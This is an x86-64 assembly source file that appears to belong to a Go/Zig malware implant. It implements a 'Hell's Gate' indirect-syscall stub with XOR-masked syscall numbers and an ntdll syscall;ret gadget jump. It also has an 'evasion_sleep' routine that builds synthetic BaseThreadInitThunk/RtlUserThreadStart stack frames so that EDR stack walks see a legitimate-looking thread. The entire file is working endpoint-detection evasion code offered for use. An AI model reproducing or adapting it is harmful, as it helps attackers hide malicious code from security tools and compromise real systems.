.intel_syntax noprefix .data wSystemCallEnc: .long 0 qSyscallInsAddressEnc: .quad 0 qFakeReturnEnc: .quad 0 wMask: .long 0xDEADBEEF qMask: .quad 0xDEADBEEFDEADBEEF // Synthetic frame globals, set by frames.zig init_frames(). // Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart. .global qFakeRtlUserThreadStart .global qFakeBaseThreadInitThunk .global qRtlUserFrameSize .global qBaseThreadFrameSize qFakeRtlUserThreadStart: .quad 0 qFakeBaseThreadInitThunk: .quad 0 qRtlUserFrameSize: .quad 0 qBaseThreadFrameSize: .quad 0 .text .global hells_gate .global hell_descent // evasion_sleep trampoline. Pushes synthetic frames through the canonical // Windows thread init chain: kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart. // EDR stack walk sees legitimate thread state, not a gap. .global evasion_sleep .section .drectve .ascii " -export:evasion_sleep" .text evasion_sleep: // Save Go return address. RSP points at it on entry. mov r11, [rsp] mov r10, rcx // save sleep duration (first arg from Go) // Build BaseThreadInitThunk frame (calls RtlUserThreadStart). mov rax, qword ptr [rip + qBaseThreadFrameSize] sub rsp, rax mov rcx, qword ptr [rip + qFakeRtlUserThreadStart] add rcx, 0x14 // offset past BaseThreadInitThunk prologue mov [rsp], rcx // Build RtlUserThreadStart frame (chain termination). mov rax, qword ptr [rip + qRtlUserFrameSize] sub rsp, rax mov qword ptr [rsp], 0 // end of chain // Save desync RSP for teardown. Call Zig implementation. mov rbp, rsp mov rcx, r10 // restore sleep duration sub rsp, 0x28 // shadow space + alignment call evasion_sleep_inner add rsp, 0x28 // Restore original stack: rewind through synthetic frames. lea rsp, [rbp] mov rax, qword ptr [rip + qRtlUserFrameSize] add rsp, rax mov rax, qword ptr [rip + qBaseThreadFrameSize] add rsp, rax // Restore Go return address and return. mov [rsp], r11 ret hells_gate: xor ecx, dword ptr [rip + wMask] mov dword ptr [rip + wSystemCallEnc], ecx xor rdx, qword ptr [rip + qMask] mov qword ptr [rip + qSyscallInsAddressEnc], rdx mov rax, r8 xor rax, qword ptr [rip + qMask] mov qword ptr [rip + qFakeReturnEnc], rax ret // Push standalone ret from ntdll .text before jmp to syscall;ret gadget. // The gadget's ret returns there so kernel callstack shows ntdll frames. hell_descent: mov r10, rcx mov eax, dword ptr [rip + wSystemCallEnc] xor eax, dword ptr [rip + wMask] mov r11, qword ptr [rip + qSyscallInsAddressEnc] xor r11, qword ptr [rip + qMask] mov rcx, r9 // save arg4, rcx free after mov r10,rcx mov r9, qword ptr [rip + qFakeReturnEnc] xor r9, qword ptr [rip + qMask] test r9, r9 jz .Ldone push r9 .Ldone: mov r9, rcx // restore arg4 mov rcx, r10 // restore arg1 jmp r11